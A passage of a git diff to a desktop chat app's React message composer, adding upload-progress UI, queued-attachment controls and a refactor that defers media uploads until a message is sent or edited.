+                  <Tooltip disableHoverableContent>
+                    <TooltipTrigger asChild>
+                      <button
+                        aria-label="Remove attachment"
+                        className={COMPOSER_MEDIA_REMOVE_CLASS}
+                        onClick={() => onRemoveQueued(preview.id)}
+                        type="button"
+                      >
+                        <X className="h-2.5 w-2.5" />
+                      </button>
+                    </TooltipTrigger>
+                    <TooltipContent>Remove attachment</TooltipContent>
+                  </Tooltip>
+                ) : null}
+                {isVideo && onToggleQueuedSpoiler ? (
+                  <Tooltip disableHoverableContent>
+                    <TooltipTrigger asChild>
+                      <button
+                        aria-label={
+                          preview.spoilered
+                            ? "Remove spoiler"
+                            : "Mark as spoiler"
+                        }
+                        aria-pressed={preview.spoilered}
+                        className={COMPOSER_MEDIA_HOVER_ACTION_CLASS}
+                        data-testid="composer-queued-video-spoiler"
+                        onClick={() => onToggleQueuedSpoiler(preview.id)}
+                        type="button"
+                      >
+                        <HatGlasses className="h-5 w-5" />
+                      </button>
+                    </TooltipTrigger>
+                    <TooltipContent>
+                      {preview.spoilered ? "Remove spoiler" : "Mark as spoiler"}
+                    </TooltipContent>
+                  </Tooltip>
+                ) : null}
+              </motion.div>
+            );
+          })}
           {isUploading &&
             uploadPlaceholders.map((preview) => (
               <motion.div
diff --git a/desktop/src/features/messages/ui/ComposerReplyEditBanner.tsx b/desktop/src/features/messages/ui/ComposerReplyEditBanner.tsx
index 5032fa453e..485d11de28 100644
--- a/desktop/src/features/messages/ui/ComposerReplyEditBanner.tsx
+++ b/desktop/src/features/messages/ui/ComposerReplyEditBanner.tsx
@@ -14,11 +14,13 @@ const BANNER_CLASS =
  */
 export function ComposerReplyEditBanner({
   isEditing,
+  isEditCancelDisabled = false,
   replyTarget,
   onCancelEdit,
   onCancelReply,
 }: {
   isEditing: boolean;
+  isEditCancelDisabled?: boolean;
   replyTarget?: { author: string; body: string; id: string } | null;
   onCancelEdit?: () => void;
   onCancelReply?: () => void;
@@ -39,6 +41,7 @@ export function ComposerReplyEditBanner({
           <Button
             aria-label="Cancel edit"
             className="-mr-1 h-7 w-7 shrink-0 px-0 text-muted-foreground hover:text-foreground"
+            disabled={isEditCancelDisabled}
             onClick={onCancelEdit}
             size="icon"
             type="button"
diff --git a/desktop/src/features/messages/ui/ComposerUploadProgressOverlay.tsx b/desktop/src/features/messages/ui/ComposerUploadProgressOverlay.tsx
new file mode 100644
index 0000000000..d021e49783
--- /dev/null
+++ b/desktop/src/features/messages/ui/ComposerUploadProgressOverlay.tsx
@@ -0,0 +1,21 @@
+import {
+  cancelBackgroundMediaUploads,
+  useBackgroundMediaUpload,
+} from "@/features/messages/lib/backgroundMediaUploadStore";
+import { ComposerUploadProgressPill } from "@/features/messages/ui/ComposerUploadProgressPill";
+
+export function ComposerUploadProgressOverlay() {
+  const backgroundUpload = useBackgroundMediaUpload();
+
+  return (
+    <div className="pointer-events-auto">
+      <ComposerUploadProgressPill
+        canCancel={backgroundUpload.canCancel}
+        isUploading={backgroundUpload.isUploading}
+        onCancel={cancelBackgroundMediaUploads}
+        phase={backgroundUpload.phase}
+        percentage={backgroundUpload.percentage}
+      />
+    </div>
+  );
+}
diff --git a/desktop/src/features/messages/ui/ComposerUploadProgressPill.tsx b/desktop/src/features/messages/ui/ComposerUploadProgressPill.tsx
new file mode 100644
index 0000000000..288b32f8f1
--- /dev/null
+++ b/desktop/src/features/messages/ui/ComposerUploadProgressPill.tsx
@@ -0,0 +1,171 @@
+import { AnimatePresence, motion, useReducedMotion } from "motion/react";
+
+import {
+  type BackgroundMediaUploadPhase,
+  backgroundMediaUploadPhaseLabel,
+} from "@/features/messages/lib/backgroundMediaUploadPhase";
+import { cn } from "@/shared/lib/cn";
+import { Spinner } from "@/shared/ui/spinner";
+
+export function ComposerUploadProgressPill({
+  canCancel,
+  isUploading,
+  onCancel,
+  phase,
+  percentage,
+}: {
+  canCancel: boolean;
+  isUploading: boolean;
+  onCancel: () => void;
+  phase: BackgroundMediaUploadPhase;
+  percentage: number;
+}) {
+  const reducedMotion = useReducedMotion();
+  const phaseLabel = backgroundMediaUploadPhaseLabel(phase);
+  const isTransferring = phase === "uploading";
+  const phaseTransition = reducedMotion
+    ? { duration: 0 }
+    : { duration: 0.18, ease: [0.77, 0, 0.175, 1] as const };
+
+  return (
+    <AnimatePresence initial={false}>
+      {isUploading ? (
+        <motion.div
+          animate="visible"
+          className="relative z-0 flex justify-center pb-2"
+          data-testid="composer-upload-progress-motion"
+          exit="hidden"
+          initial="hidden"
+          variants={{
+            hidden: {
+              opacity: reducedMotion ? 1 : 0,
+              transition: reducedMotion
+                ? { duration: 0 }
+                : { duration: 0.18, ease: "easeOut" },
+              y: reducedMotion ? 0 : 28,
+            },
+            visible: {
+              opacity: 1,
+              transition: reducedMotion
+                ? { duration: 0 }
+                : { duration: 0.22, ease: "easeIn" },
+              y: 0,
+            },
+          }}
+        >
+          <div
+            aria-label={
+              isTransferring ? `${phaseLabel} ${percentage}%` : phaseLabel
+            }
+            aria-live="polite"
+            className="relative h-9 w-[18.75rem] max-w-full overflow-hidden rounded-full border border-primary bg-primary text-primary-foreground"
+            data-testid="composer-upload-progress"
+            role="status"
+          >
+            <motion.div
+              animate={{ width: `${percentage}%` }}
+              className="absolute inset-y-0 left-0 bg-primary-foreground/20"
+              data-testid="composer-upload-progress-fill"
+              initial={false}
+              transition={
+                reducedMotion
+                  ? { duration: 0 }
+                  : { duration: 0.15, ease: "easeOut" }
+              }
+            />
+            <div className="relative flex h-full items-center gap-2 pl-3 pr-1">
+              <span className="min-w-0 flex-1 truncate text-sm font-semibold text-primary-foreground">
+                <span className="inline-flex items-baseline">
+                  <AnimatePresence initial={false} mode="popLayout">
+                    <motion.span
+                      animate={{ opacity: 1, y: 0 }}
+                      exit={{
+                        opacity: reducedMotion ? 1 : 0,
+                        y: reducedMotion ? 0 : -2,
+                      }}
+                      initial={{
+                        opacity: reducedMotion ? 1 : 0,
+                        y: reducedMotion ? 0 : 2,
+                      }}
+                      data-testid="composer-upload-phase"
+                      key={phase}
+                      layout="position"
+                      transition={phaseTransition}
+                    >
+                      {phaseLabel}
+                    </motion.span>
+                  </AnimatePresence>
+                  <motion.span
+                    className="ml-1 inline-flex items-center text-primary-foreground/80"
+                    data-testid="composer-upload-status"
+                    layout="position"
+                    transition={phaseTransition}
+                  >
+                    <span aria-hidden="true">·</span>
+                    <AnimatePresence initial={false} mode="popLayout">
+                      {isTransferring ? (
+                        <motion.span
+                          animate={{ opacity: 1, y: 0 }}
+                          className="ml-1"
+                          data-testid="composer-upload-percentage"
+                          exit={{
+                            opacity: reducedMotion ? 1 : 0,
+                            y: reducedMotion ? 0 : -2,
+                          }}
+                          initial={{
+                            opacity: reducedMotion ? 1 : 0,
+                            y: reducedMotion ? 0 : 2,
+                          }}
+                          key="percentage"
+                          layout="position"
+                          transition={phaseTransition}
+                        >
+                          {percentage}%
+                        </motion.span>
+                      ) : (
+                        <motion.span
+                          animate={{ opacity: 1, y: 0 }}
+                          className="ml-1 inline-flex"
+                          data-testid="composer-upload-spinner"
+                          exit={{
+                            opacity: reducedMotion ? 1 : 0,
+                            y: reducedMotion ? 0 : -2,
+                          }}
+                          initial={{
+                            opacity: reducedMotion ? 1 : 0,
+                            y: reducedMotion ? 0 : 2,
+                          }}
+                          key="spinner"
+                          layout="position"
+                          transition={phaseTransition}
+                        >
+                          <Spinner
+                            aria-hidden="true"
+                            className="size-3.5 border-2"
+                          />
+                        </motion.span>
+                      )}
+                    </AnimatePresence>
+                  </motion.span>
+                </span>
+              </span>
+              {canCancel ? (
+                <button
+                  className={cn(
+                    "shrink-0 rounded-full bg-transparent px-2 py-1 text-sm font-semibold text-primary-foreground",
+                    "transition-colors hover:bg-primary-foreground/20 focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-primary-foreground",
+                  )}
+                  data-testid="composer-upload-cancel"
+                  onClick={onCancel}
+                  type="button"
+                >
+                  Cancel
+                </button>
+              ) : null}
+            </div>
+          </div>
+        </motion.div>
+      ) : null}
+    </AnimatePresence>
+  );
+}
diff --git a/desktop/src/features/messages/ui/DayDivider.tsx b/desktop/src/features/messages/ui/DayDivider.tsx
index 8dff4b7a06..72a396d502 100644
--- a/desktop/src/features/messages/ui/DayDivider.tsx
+++ b/desktop/src/features/messages/ui/DayDivider.tsx
@@ -1,9 +1,27 @@
-export function DayDivider({ label }: { label: string }) {
+import { cn } from "@/shared/lib/cn";
+import { channelChrome } from "@/shared/layout/chromeLayout";
+
+export function DayDivider({
+  label,
+  sticky = true,
+  testId = "message-timeline-day-divider",
+}: {
+  label: string;
+  sticky?: boolean;
+  testId?: string;
+}) {
   return (
     <section
       aria-label={label}
-      className="pointer-events-none sticky top-(--buzz-channel-content-top-padding,5.75rem) z-20 flex justify-center"
-      data-testid="message-timeline-day-divider"
+      className={cn(
+        sticky
+          ? cn(
+              "pointer-events-none sticky z-20 flex justify-center",
+              channelChrome.stickyTimelineTop,
+            )
+          : "pointer-events-none flex justify-center",
+      )}
+      data-testid={testId}
       data-day-label={label}
     >
       <p className="relative z-10 shrink-0 rounded-full border border-border/70 bg-background px-2.5 py-1 text-2xs font-medium tracking-[0.02em] text-muted-foreground/70">
diff --git a/desktop/src/features/messages/ui/DirectMessageIntroAvatarStack.tsx b/desktop/src/features/messages/ui/DirectMessageIntroAvatarStack.tsx
index 1a1018fbe7..e2922d80b7 100644
--- a/desktop/src/features/messages/ui/DirectMessageIntroAvatarStack.tsx
+++ b/desktop/src/features/messages/ui/DirectMessageIntroAvatarStack.tsx
@@ -1,4 +1,5 @@
 import { getDmParticipantPreview } from "@/features/channels/lib/dmParticipantDisplay";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { UserAvatar } from "@/shared/ui/UserAvatar";
 
 export type DirectMessageIntroParticipant = {
@@ -18,31 +19,36 @@ export function DirectMessageIntroAvatarStack({
 
   return (
     <div
-      aria-hidden="true"
       className="flex shrink-0 items-center"
       data-testid="message-dm-intro-avatar-stack"
     >
       {visibleParticipants.map((participant, index) => (
-        <div
-          className={index > 0 ? "-ml-5" : ""}
-          data-testid="message-dm-intro-avatar-stack-participant"
+        <UserProfilePopover
           key={participant.pubkey}
-          style={{
-            zIndex: index + 1,
-            ...(index < stackItemCount - 1 && {
-              mask: "radial-gradient(circle 34px at calc(100% + 10px) 50%, transparent 99%, #fff 100%)",
-              WebkitMask:
-                "radial-gradient(circle 34px at calc(100% + 10px) 50%, transparent 99%, #fff 100%)",
-            }),
-          }}
+          pubkey={participant.pubkey}
+          triggerAriaLabel={`Open profile for ${participant.displayName}`}
+          triggerElement="span"
         >
-          <UserAvatar
-            avatarUrl={participant.avatarUrl}
-            className="h-[60px] w-[60px] text-base"
-            displayName={participant.displayName}
-            size="md"
-          />
-        </div>
+          <span
+            className={index > 0 ? "-ml-5" : ""}
+            data-testid="message-dm-intro-avatar-stack-participant"
+            style={{
+              zIndex: index + 1,
+              ...(index < stackItemCount - 1 && {
+                mask: "radial-gradient(circle 34px at calc(100% + 10px) 50%, transparent 99%, #fff 100%)",
+                WebkitMask:
+                  "radial-gradient(circle 34px at calc(100% + 10px) 50%, transparent 99%, #fff 100%)",
+              }),
+            }}
+          >
+            <UserAvatar
+              avatarUrl={participant.avatarUrl}
+              className="h-[60px] w-[60px] text-base"
+              displayName={participant.displayName}
+              size="md"
+            />
+          </span>
+        </UserProfilePopover>
       ))}
       {hiddenCount > 0 ? (
         <div
diff --git a/desktop/src/features/messages/ui/MessageComposer.tsx b/desktop/src/features/messages/ui/MessageComposer.tsx
index 69e4ec67b5..9e1fee53d3 100644
--- a/desktop/src/features/messages/ui/MessageComposer.tsx
+++ b/desktop/src/features/messages/ui/MessageComposer.tsx
@@ -1,5 +1,4 @@
 import * as React from "react";
-
 import { EditorContent } from "@tiptap/react";
 import { useChannelLinks } from "@/features/messages/lib/useChannelLinks";
 import { handleAgentSnapshotPaste } from "@/features/messages/lib/agentSnapshotClipboard";
@@ -10,20 +9,21 @@ import { resolveSentDraftKey } from "@/features/messages/ui/draftSubmitKey";
 import { useEmojiAutocomplete } from "@/features/messages/lib/useEmojiAutocomplete";
 import type { EmojiSuggestion } from "@/features/messages/lib/useEmojiAutocomplete";
 import { useCustomEmoji } from "@/features/custom-emoji/hooks";
-import { buildCustomEmojiTags } from "@/shared/lib/customEmojiTags";
 import {
-  buildOutgoingMessage,
   findSpoileredImetaMediaUrls,
   type ImetaMedia,
-  mergeOutgoingTags,
   restoreImetaMediaDisplayLabels,
   stripImetaMediaLines,
 } from "@/features/messages/lib/imetaMediaMarkdown";
-
 import { useAttachmentEditing } from "@/features/messages/lib/useAttachmentEditing";
 import { useMediaUpload } from "@/features/messages/lib/useMediaUpload";
+import {
+  cancelBackgroundMediaUploads,
+  saveQueuedAttachmentsForDraft,
+  takeQueuedAttachmentsForDraft,
+  useBackgroundMediaUpload,
+} from "@/features/messages/lib/backgroundMediaUploadStore";
 import { useMentions } from "@/features/messages/lib/useMentions";
-import { diffAddedMentionPubkeys } from "@/features/messages/lib/threading";
 import { getPersistentAgentAudienceScope } from "@/features/messages/lib/persistentAgentAudience";
 import { useIdentityQuery } from "@/shared/api/hooks";
 import {
@@ -50,14 +50,14 @@ import {
   type MentionSuggestion,
 } from "./MentionAutocomplete";
 import { ComposerDockToolbar } from "./ComposerDockToolbar";
+import { ComposerUploadProgressPill } from "./ComposerUploadProgressPill";
 import { NonMemberMentionDialog } from "./NonMemberMentionDialog";
 import { useMentionSendFlow } from "./useMentionSendFlow";
 import { usePersistentAgentMentionHydration } from "./usePersistentAgentMentionHydration";
 import { useComposerContentState } from "./useComposerContentState";
 import { useDraftPersistLifecycle } from "./useDraftPersistSnapshot";
-
+import { submitMessageEdit } from "./submitMessageEdit";
 import type { MessageComposerProps } from "./MessageComposer.types";
-
 function MessageComposerImpl({
   audienceContext = null,
   channelId = null,
@@ -71,6 +71,7 @@ function MessageComposerImpl({
   onAutoSubmitComplete,
   editTarget = null,
   isSending = false,
+  onDeferredEditPendingChange,
   onCancelEdit,
   onCancelReply,
   onCaptureSendContext,
@@ -83,6 +84,7 @@ function MessageComposerImpl({
   profiles,
   replyTarget = null,
   mediaController,
+  showBackgroundUploadProgress = true,
   showTopBorder = false,
   toolbarExtraActions,
   typingParentEventId = null,
@@ -103,12 +105,10 @@ function MessageComposerImpl({
   >(() => new Set());
   const spoileredAttachmentUrlsRef = React.useRef(spoileredAttachmentUrls);
   spoileredAttachmentUrlsRef.current = spoileredAttachmentUrls;
-
   const handleFormattingToggle = React.useCallback((pressed: boolean) => {
     if (pressed) setIsEmojiPickerOpen(false);
     setIsFormattingOpen(pressed);
   }, []);
-
   const drafts = useDrafts();
   const identityQuery = useIdentityQuery();
   const effectiveDraftKey = draftKey ?? channelId;
@@ -124,10 +124,10 @@ function MessageComposerImpl({
       : null;
   const effectiveDraftKeyRef = React.useRef(effectiveDraftKey);
   effectiveDraftKeyRef.current = effectiveDraftKey;
-  // Snapshot composer state before edit mode so cancel can restore it.
   const preEditSnapshotRef = React.useRef<{
     content: string;
     pendingImeta: ImetaMedia[];
+    queuedAttachments: ReturnType<typeof useMediaUpload>["queuedAttachments"];
     spoileredAttachmentUrls: Set<string>;
   } | null>(null);
   const mentions = useMentions(channelId, undefined, profiles, {
@@ -141,16 +141,20 @@ function MessageComposerImpl({
     typingParentEventId,
     typingRootEventId,
   );
-
-  // We pass a custom setter that both updates React state AND inserts
-  // markdown into the Tiptap editor when media upload completes.
-  const internalMedia = useMediaUpload();
+  const internalMedia = useMediaUpload({ deferUploadsUntilSend: true });
   const media = mediaController ?? internalMedia;
+  const [isDeferredEditPending, setDeferredEditPending] = React.useState(false);
+  const composerDisabled = disabled || isDeferredEditPending;
+  const isEditSubmissionLocked =
+    isSending || media.isUploading || isDeferredEditPending;
+  const canRestoreEditDraftRef = React.useRef(false);
+  canRestoreEditDraftRef.current =
+    contentRef.current.trim().length === 0 &&
+    media.pendingImetaRef.current.length === 0 &&
+    media.queuedAttachmentsRef.current.length === 0;
   const ownsDropZone = mediaController === undefined;
-
-  // Draft-persist lifecycle: restore/clear content + imeta + spoilered urls on
-  // key change, and persist the outgoing draft in the cleanup. The StrictMode
-  // fix lives inside this hook — see useDraftPersistSnapshot.ts.
+  const backgroundUpload = useBackgroundMediaUpload();
+  // Restore/persist drafts at a key boundary; the hook handles StrictMode.
   useDraftPersistLifecycle({
     effectiveDraftKey,
     channelId,
@@ -160,6 +164,11 @@ function MessageComposerImpl({
     restoreMentionRefs: mentions.restoreDraftMentionRefs,
     livePendingImeta: media.pendingImeta,
     setPendingImeta: media.setPendingImeta,
+    getQueuedAttachments: () => media.queuedAttachmentsRef.current,
+    saveQueuedAttachmentsForDraft,
+    clearQueuedAttachments: media.clearQueuedAttachments,
+    restoreQueuedAttachments: media.restoreQueuedAttachments,
+    takeQueuedAttachmentsForDraft,
     setContent: (content) => {
       setComposerContent(content);
       richText.setContent(content);
@@ -179,7 +188,6 @@ function MessageComposerImpl({
     channelLinks.clearChannels();
     emojiAutocomplete.clearEmojis();
   }, [effectiveDraftKey]);
-
   const disabledRef = React.useRef(disabled);
   const isSendingRef = React.useRef(isSending);
   const isUploadingRef = React.useRef(media.isUploading);
@@ -198,16 +206,13 @@ function MessageComposerImpl({
   editTargetRef.current = editTarget;
   extractMentionPubkeysRef.current = mentions.extractMentionPubkeys;
   ownerPubkeyRef.current = ownerPubkey;
-
   const isAutocompleteOpenRef = React.useRef(false);
   isAutocompleteOpenRef.current =
     mentions.isMentionOpen ||
     channelLinks.isChannelOpen ||
     emojiAutocomplete.isEmojiAutocompleteOpen;
-
   const submitMessageRef = React.useRef<() => void>(() => {});
   const composerScrollRef = React.useRef<HTMLDivElement>(null);
-
   // Set after `useLinkEditor` exists below; the editor's link-click handler
   // delegates through this ref to break the hook ordering cycle (the editor
   // needs `onEditLink`, but the link editor needs the editor's `richText`).
@@ -218,7 +223,6 @@ function MessageComposerImpl({
     ((info: LinkSelectionInfo | null) => void) | null
   >(null);
   const onLinkShortcutRef = React.useRef<(() => boolean) | null>(null);
-
   const scrollComposerToBottom = React.useCallback(() => {
     window.requestAnimationFrame(() => {
       const scrollElement = composerScrollRef.current;
@@ -226,17 +230,15 @@ function MessageComposerImpl({
       scrollElement.scrollTop = scrollElement.scrollHeight;
     });
   }, []);
-
   const computedPlaceholder = editTarget
     ? "Edit your message"
     : (placeholder ??
       (replyTarget
         ? `Reply to ${replyTarget.author} in #${channelName}`
         : `Message #${channelName}`));
-
   const richText = useRichTextEditor({
     placeholder: computedPlaceholder,
-    editable: !disabled,
+    editable: !composerDisabled,
     mentionNames: mentions.knownNames,
     agentMentionNames: mentions.agentKnownNames,
     channelNames: channelLinks.knownChannelNames,
@@ -255,19 +257,15 @@ function MessageComposerImpl({
     onLinkShortcut: () => onLinkShortcutRef.current?.() ?? false,
     onUpdate: ({ cursor, text }) => {
       setComposerContentFromText(text);
-
       mentions.updateMentionQuery(text, cursor);
       channelLinks.updateChannelQuery(text, cursor);
       emojiAutocomplete.updateEmojiQuery(text, cursor);
-
       persistentMentionHydrationRef.current?.reconcile(text);
-
       if (text.trim().length > 0) {
         notifyTyping();
       }
     },
   });
-
   const linkEditor = useLinkEditor(richText);
   syncContentRefFromEditorRef.current = () => {
     const markdown = richText.getMarkdown();
@@ -278,7 +276,6 @@ function MessageComposerImpl({
   onLinkSelectionChangeRef.current = linkEditor.showFromCursor;
   onLinkShortcutRef.current = linkEditor.openFromShortcut;
   useComposerSpoilerParticles(richText.editor, composerScrollRef);
-
   const persistentMentionHydration = usePersistentAgentMentionHydration({
     audienceScope,
     hydrationKey: effectiveDraftKey,
@@ -292,7 +289,6 @@ function MessageComposerImpl({
     persistentMentionHydration,
   );
   persistentMentionHydrationRef.current = persistentMentionHydration;
-
   const mentionSendFlow = useMentionSendFlow({
     channelId,
     channelLinks,
@@ -308,6 +304,11 @@ function MessageComposerImpl({
     setContent: setComposerContent,
     setIsEmojiPickerOpen,
     setPendingImeta: media.setPendingImeta,
+    hasUnsavedMedia: () =>
+      media.pendingImetaRef.current.length > 0 ||
+      media.queuedAttachmentsRef.current.length > 0,
+    clearQueuedAttachments: media.clearQueuedAttachments,
+    restoreQueuedAttachments: media.restoreQueuedAttachments,
     setSpoileredAttachmentUrls,
     onSuccessfulExplicitAgentAudience:
       persistentAudience.enabled && audienceContext && ownerPubkey
@@ -322,16 +323,18 @@ function MessageComposerImpl({
         : undefined,
     resolvePostSendContent: persistentMentionHydration.resolvePostSendContent,
   });
-
+  React.useEffect(() => {
+    onDeferredEditPendingChange?.(isDeferredEditPending);
+    return () => onDeferredEditPendingChange?.(false);
+  }, [isDeferredEditPending, onDeferredEditPendingChange]);
   // biome-ignore lint/correctness/useExhaustiveDependencies: editTarget?.id is the trigger
   React.useEffect(() => {
+    if (editTarget && media.isUploading) return onCancelEdit?.();
     if (editTarget) {
-      // Snapshot the current draft (text + attachments) so the user's
-      // in-flight work survives the edit-mode hijack and is restored on
-      // edit-cancel/exit.
       preEditSnapshotRef.current = {
         content: syncComposerContentFromEditor(),
         pendingImeta: [...media.pendingImetaRef.current],
+        queuedAttachments: [...media.queuedAttachmentsRef.current],
         spoileredAttachmentUrls: new Set(spoileredAttachmentUrls),
       };
       // Strip the trailing `![image|video](url)` lines that correspond to
@@ -348,6 +351,7 @@ function MessageComposerImpl({
       // attachments so they show up in `ComposerAttachments` and the user
       // can remove existing ones / add new ones before saving.
       media.setPendingImeta(editableImeta);
+      media.clearQueuedAttachments();
       setSpoileredAttachmentUrls(
         findSpoileredImetaMediaUrls(editTarget.body, editableImeta),
       );
@@ -363,6 +367,7 @@ function MessageComposerImpl({
       const {
         content: restoredContent,
         pendingImeta: restoredImeta,
+        queuedAttachments: restoredQueuedAttachments,
         spoileredAttachmentUrls: restoredSpoileredAttachmentUrls,
       } = preEditSnapshotRef.current;
       preEditSnapshotRef.current = null;
@@ -371,21 +376,19 @@ function MessageComposerImpl({
         ? richText.setContent(restoredContent)
         : richText.clearContent();
       media.setPendingImeta(restoredImeta);
+      media.restoreQueuedAttachments(restoredQueuedAttachments);
       setSpoileredAttachmentUrls(restoredSpoileredAttachmentUrls);
     }
   }, [editTarget?.id]);
-
   // ── Focus on reply ──────────────────────────────────────────────────
   // Use focusPreserve so that re-renders (e.g. new messages arriving in
   // a thread) don't yank the cursor to the end while the user is editing.
   React.useEffect(() => {
-    if (!replyTarget || disabled) return;
+    if (!replyTarget || composerDisabled) return;
     richText.focusPreserve();
-  }, [disabled, replyTarget, richText.focusPreserve]);
-
+  }, [composerDisabled, replyTarget, richText.focusPreserve]);
   // ── Autofocus on mount / channel switch ─────────────────────────────
-  useComposerAutofocus(richText.focus, effectiveDraftKey, disabled);
-
+  useComposerAutofocus(richText.focus, effectiveDraftKey, composerDisabled);
   // ── Mention / channel / emoji autocomplete insertion ────────────────
   // Hooks return a plain-text edit descriptor; `replacePlainTextRange`
   // applies it as a single ProseMirror transaction (no markdown round-trip).
@@ -400,7 +403,6 @@ function MessageComposerImpl({
     },
     [richText.replacePlainTextRange],
   );
-
   const applyMentionInsert = React.useCallback(
     (suggestion: MentionSuggestion) => {
       const { cursor } = richText.getPlainTextAndCursor();
@@ -412,7 +414,6 @@ function MessageComposerImpl({
       richText.getPlainTextAndCursor,
     ],
   );
-
   const applyChannelInsert = React.useCallback(
     (suggestion: ChannelSuggestion) => {
       const { cursor } = richText.getPlainTextAndCursor();
@@ -424,7 +425,6 @@ function MessageComposerImpl({
       richText.getPlainTextAndCursor,
     ],
   );
-
   const applyEmojiInsert = React.useCallback(
     (suggestion: EmojiSuggestion) => {
       const { cursor } = richText.getPlainTextAndCursor();
@@ -436,7 +436,6 @@ function MessageComposerImpl({
       richText.getPlainTextAndCursor,
     ],
   );
-
   // ── Emoji insertion ─────────────────────────────────────────────────
   const insertEmoji = React.useCallback(
     (emoji: string) => {
@@ -473,12 +472,10 @@ function MessageComposerImpl({
     },
     [richText.editor, mentions.clearMentions, customEmoji],
   );
-
   // ── @ mention picker (toolbar button) ───────────────────────────────
   const openMentionPicker = React.useCallback(() => {
     if (!richText.editor) return;
     const { text, cursor } = richText.getPlainTextAndCursor();
-
     // Check if there's already an @-query in progress
     const beforeCursor = text.slice(0, cursor);
     if (/(?:^|[\s])@[^\s]*$/.test(beforeCursor)) {
@@ -486,14 +483,12 @@ function MessageComposerImpl({
       richText.focus();
       return;
     }
-
     // Insert @ at cursor
     const previousChar = text.slice(0, cursor).slice(-1);
     const prefix =
       cursor > 0 && previousChar && !/\s/.test(previousChar) ? " @" : "@";
     richText.editor.chain().focus().insertContent(prefix).run();
     setIsEmojiPickerOpen(false);
-
     // Trigger mention detection after inserting @
     const { text: updatedText, cursor: updatedCursor } =
       richText.getPlainTextAndCursor();
@@ -504,80 +499,58 @@ function MessageComposerImpl({
     richText.focus,
     mentions.updateMentionQuery,
   ]);
-
   // ── Submit message ──────────────────────────────────────────────────
   const submitMessage = React.useCallback(async () => {
     const trimmed = syncComposerContentFromEditor().trim();
-
     // Edit mode
     if (editTargetRef.current && onEditSaveRef.current) {
-      if (isSendingRef.current || isUploadingRef.current) return;
-      const currentPendingImeta = media.pendingImetaRef.current;
+      if (isEditSubmissionLocked) return;
       // No empty-edit guard here: clearing an edit to empty (no text, no
       // attachments) flows through to onEditSave as empty content, which
       // deletes the message instead of publishing it (see handleEditSave).
-
-      // Build the edit's body + imeta tag set. Coerce `mediaTags ?? []`
-      // because edit semantics use `[]` as the explicit "wipe all
-      // attachments" signal — the receiver overlay drops imeta when the
-      // edit carries an empty (but defined) set.
-      const { content: finalContent, mediaTags } = buildOutgoingMessage(
-        trimmed,
-        currentPendingImeta,
+      await submitMessageEdit({
+        content: trimmed,
+        editTargetId: editTargetRef.current.id,
+        customEmoji,
+        originalContent: editTargetRef.current.body,
+        ownerPubkey: ownerPubkeyRef.current,
+        getMentionRefs: mentions.getDraftMentionRefs,
+        pendingImeta: media.pendingImetaRef.current,
+        queuedAttachments: media.queuedAttachmentsRef.current,
         spoileredAttachmentUrls,
-      );
-
-      // NIP-30: attach `["emoji", shortcode, url]` tags for custom emoji in the
-      // edited body, exactly like the send path. Without this an edited message
-      // ships with no emoji tags, so the receiver can't resolve a `:shortcode:`
-      // and renders the literal text. `?? []` preserves edit semantics (a
-      // defined-but-empty media set means "wipe attachments").
-      const outgoingTags =
-        mergeOutgoingTags(
-          mediaTags,
-          buildCustomEmojiTags(finalContent, customEmoji),
-        ) ?? [];
-
-      // Notify only mentions this edit *newly adds* (see
-      // diffAddedMentionPubkeys): a typo-fix edit that leaves the mention set
-      // unchanged emits no `p` tags and re-wakes nobody. Computed before the
-      // composer state is cleared below.
-      const addedMentionPubkeys = diffAddedMentionPubkeys(
-        extractMentionPubkeysRef.current(editTargetRef.current.body),
-        extractMentionPubkeysRef.current(finalContent),
-        ownerPubkeyRef.current ?? "",
-      );
-
-      const savedContent = trimmed;
-      const savedImeta = [...currentPendingImeta];
-      const savedSpoileredAttachmentUrls = new Set(spoileredAttachmentUrls);
-      setComposerContent("");
-      richText.clearContent();
-      media.setPendingImeta([]);
-      setSpoileredAttachmentUrls(new Set());
-      mentions.clearMentions();
-      channelLinks.clearChannels();
-      emojiAutocomplete.clearEmojis();
-      setIsEmojiPickerOpen(false);
-
-      try {
-        await onEditSaveRef.current(
-          finalContent,
-          outgoingTags,
-          addedMentionPubkeys,
-        );
-      } catch {
-        setComposerContent(savedContent);
-        richText.setContent(savedContent);
-        media.setPendingImeta(savedImeta);
-        setSpoileredAttachmentUrls(savedSpoileredAttachmentUrls);
-      }
+        extractMentionPubkeys: extractMentionPubkeysRef.current,
+        save: onEditSaveRef.current,
+        clearComposer: () => {
+          setComposerContent("");
+          richText.clearContent();
+          media.setPendingImeta([]);
+          media.clearQueuedAttachments();
+          setSpoileredAttachmentUrls(new Set());
+          mentions.clearMentions();
+          channelLinks.clearChannels();
+          emojiAutocomplete.clearEmojis();
+          setIsEmojiPickerOpen(false);
+        },
+        restoreComposer: (draft) => {
+          setComposerContent(draft.content);
+          richText.setContent(draft.content);
+          media.setPendingImeta(draft.pendingImeta);
+          media.restoreQueuedAttachments(draft.queuedAttachments);
+          setSpoileredAttachmentUrls(draft.spoileredAttachmentUrls);
+        },
+        restoreMentionRefs: mentions.restoreDraftMentionRefs,
+        shouldRestoreComposer: () => canRestoreEditDraftRef.current,
+        setDeferredUploadPending: setDeferredEditPending,
+        setUploadError: (message) =>
+          media.setUploadState({ status: "error", message }),
+      });
       return;
     }
-
     // Normal send
     const currentPendingImeta = media.pendingImetaRef.current;
-    const hasMedia = currentPendingImeta.length > 0;
+    const currentQueuedAttachments = media.queuedAttachmentsRef.current;
+    const hasMedia =
+      currentPendingImeta.length > 0 || currentQueuedAttachments.length > 0;
     if (
       (!trimmed && !hasMedia) ||
       disabledRef.current ||
@@ -587,7 +560,6 @@ function MessageComposerImpl({
     ) {
       return;
     }
-
     const capturedThreadContext = onCaptureSendContext?.() ?? null;
     if (
       capturedThreadContext !== null &&
@@ -595,7 +567,6 @@ function MessageComposerImpl({
     ) {
       return;
     }
-
     onPreparingMentionSendChange?.(true);
     persistentMentionHydration.beginSubmit();
     try {
@@ -603,10 +574,12 @@ function MessageComposerImpl({
         capturedChannelId: channelId,
         capturedThreadContext,
         pendingImeta: currentPendingImeta,
+        queuedAttachments: currentQueuedAttachments,
         sentDraftKey: resolveSentDraftKey(
           effectiveDraftKeyRef.current,
           drafts.loadDraft,
         ),
+        recoveryDraftKey: effectiveDraftKey,
         spoileredAttachmentUrls,
         trimmed,
         audienceGeneration: persistentAudience.generation,
@@ -622,8 +595,12 @@ function MessageComposerImpl({
     customEmoji,
     drafts.loadDraft,
